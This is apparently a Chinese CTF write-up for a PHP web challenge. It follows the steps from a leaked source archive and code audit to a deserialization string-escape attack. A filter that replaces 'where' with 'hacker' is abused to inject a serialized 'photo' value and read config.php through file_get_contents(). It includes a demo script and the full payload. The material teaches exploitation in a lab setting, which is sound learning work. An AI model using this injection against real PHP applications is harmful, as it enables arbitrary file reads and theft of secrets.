这道题感觉很难,要是比赛中出这种题我肯定做不来,所以我耐着性子慢慢分析这道题,最后居然自己做了个七七八八,只剩下一点点就完全做出来了。
下面把我做这道题时的思路一步一步记录下来,希望能够彻底巩固。
一,信息收集
拿到题没有什么思路,先找找线索,从源码和题目里没看到什么提示。
试了试万能密码登录也无果,然后试着扫目录和用burp抓包找提示。
发现有www.zip源码泄露。
二,分析源码
对于代码审计一我直以来都是懵逼的,特别是看到大佬写的这道题代码量很少时,我的内心是崩溃的。
一个文件一个文件看对于我这种菜鸡是不现实的,直接用seay扫,看到报告我松了口气,只有四个可能的漏洞。
然后开始分析各个漏洞的可能性,我一眼就看到了第三个的file_get_contents()函数,这个函数因为考的最多,而且我也比较熟悉。
然后打开profile.php开始分析,
可以发现,这个函数接受的是profile数组中的photo的值,只要这个参数是可控的我们就能实现任意文件读取。
于是我开始寻找$profile['photo'])
这个变量是从哪里来的,
最后发现来自于这行代码,可惜的是不可控。
$profile['photo'] = 'upload/' . md5($file['name']);
在寻找的过程中我还发现comfig.php
里面有flag。
因为我们down的代码和服务器上的代码是不一样的,所以这里的flag在服务器上应该记录的是我们需要的flag,结合之前的分析,只要使用file_get_contents()
函数读取config.php就能拿到flag。
但是问题是这个函数里的参数不可控,这个时候就要用到这道题的知识点——PHP序列化长度变化导致尾部字符逃逸
三,PHP序列化长度变化导致尾部字符逃逸
在做这道题之前我是不知道这个知识点的,看了大佬的解读,然后自己敲了一遍很快就理解了这个知识点。
这里我看的是https://www.jianshu.com/p/3b44e72444c1的例子
原理很简单:
1,下面是正常序列化一个数组:
2,然后在单词Northind
中间加了几个字符"""";}
,但是前面的部分a:1: {i:0;s:8:"North"""";}
刚好符合反序列化的格式,所以后面的部分ind";}' ;
就被抛弃了。
3,应用,利用该漏洞修改签名。
<?php
$username = $_GET['username'];
$sign = "hi guys";
$user = array($username, $sign);
$seri = bad_str(serialize($user));
echo $seri;
// echo "<br>";
$user=unserialize($seri);
echo $user[0];
echo "<br>";
echo "<br>";
echo $user[1];
function bad_str($string){
return preg_replace('/\'/', 'no', $string);
}
这里的username是我们可控的,而sign签名是固定的hi guys
,我们先正常传参username=admin
:
但是如果在用户名处加上单引号,则会被程序转义成no,由于长度错误导致反序列化时出错。
我们可以尝试利用这个错误来修改签名:
替换前,我们传入username=admin'''''''''''''''''''";i:1;s:5:"no hi";}
a:2:{i:0;s:43:“admin’’’’’’’’’’’’’’’’’’’”;i:1;s:5:“no hi”;}";i:1;s:7:“hi guys”;}
红色为用户名部分,其中";i:1;s:5:"no hi";}
是要逃逸的。蓝色为要被丢弃的部分。
替换后,单引号'
被替换为no
:
a:2:{i:0;s:43:“adminnonononononononononononononononononono”;i:1;s:5:“no hi”;}";i:1;s:7:“hi guys”;}
红色为用户名部分,因为替换前用户名长度等于替换后的,所以能正常反序列化。蓝色为被丢弃的部分。
可以看到,签名部分从hi guys
变成了no hi
四,利用该漏洞解题
因为这道题的username恰好也是我们可控的,而使用file_get_content()函数之前也进行了序列化,所以可以利用这个漏洞。
这里我们输入的username还经过了过滤,如果输入where被替换为hacker会导致长度加1。
先看看这里序列化的格式是什么
<?php
$profile['phone'] = '01234567890';
$profile['email'] = '1@1.1';
$profile['nickname'] = 'admin';
$profile['photo'] = 'upload/01234567890123456789012345678912';
echo serialize($profile);
#a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:5:"1@1.1";s:8:"nickname";s:5:"admin";s:5:"photo";s:39:"upload/01234567890123456789012345678912";}
可以看到序列化之后应该是这个格式,因为MD5之后肯定是32位,所以我就直接用长度为32的数字代替了,其他参数都是我注册时使用的参数。
a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:5:"1@1.1";s:8:"nickname";s:5:"admin";s:5:"photo";s:39:"upload/01234567890123456789012345678912";}
我们的目的就是把upload/01234567890123456789012345678912
改为"config.php
,而";}s:5:“photo”;s:10:“config.php”;}
是34个字符,所以只需要在前面加上34个where就行了。我们传进去nickname之后,序列化之后应该是以下格式:
替换前:
a:4:{s:5:“phone”;s:11:“01234567890”;s:5:“email”;s:5:“1@1.1”;s:8:“nickname”;s:5:“wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere”;}s:5:“photo”;s:10:“config.php”;}";s:5:“photo”;s:39:“upload/01234567890123456789012345678912”;}
红色为我们输入的用户名部分,蓝色为被丢弃的部分。
替换后:
a:4:{s:5:“phone”;s:11:“01234567890”;s:5:“email”;s:5:“1@1.1”;s:8:“nickname”;s:5:“hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker”;}s:5:“photo”;s:10:“config.php”;}";s:5:“photo”;s:39:“upload/01234567890123456789012345678912”;}
红色为替换后的用户名部分,蓝色为被丢弃的部分。
所以构造payload为wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
就可以实现以上目的
注册之后登陆,进入到update.php页面,bp抓包把nickname改为数组。
最后访问profile.php查看源码,把base64的内容解码就可以得到flag了。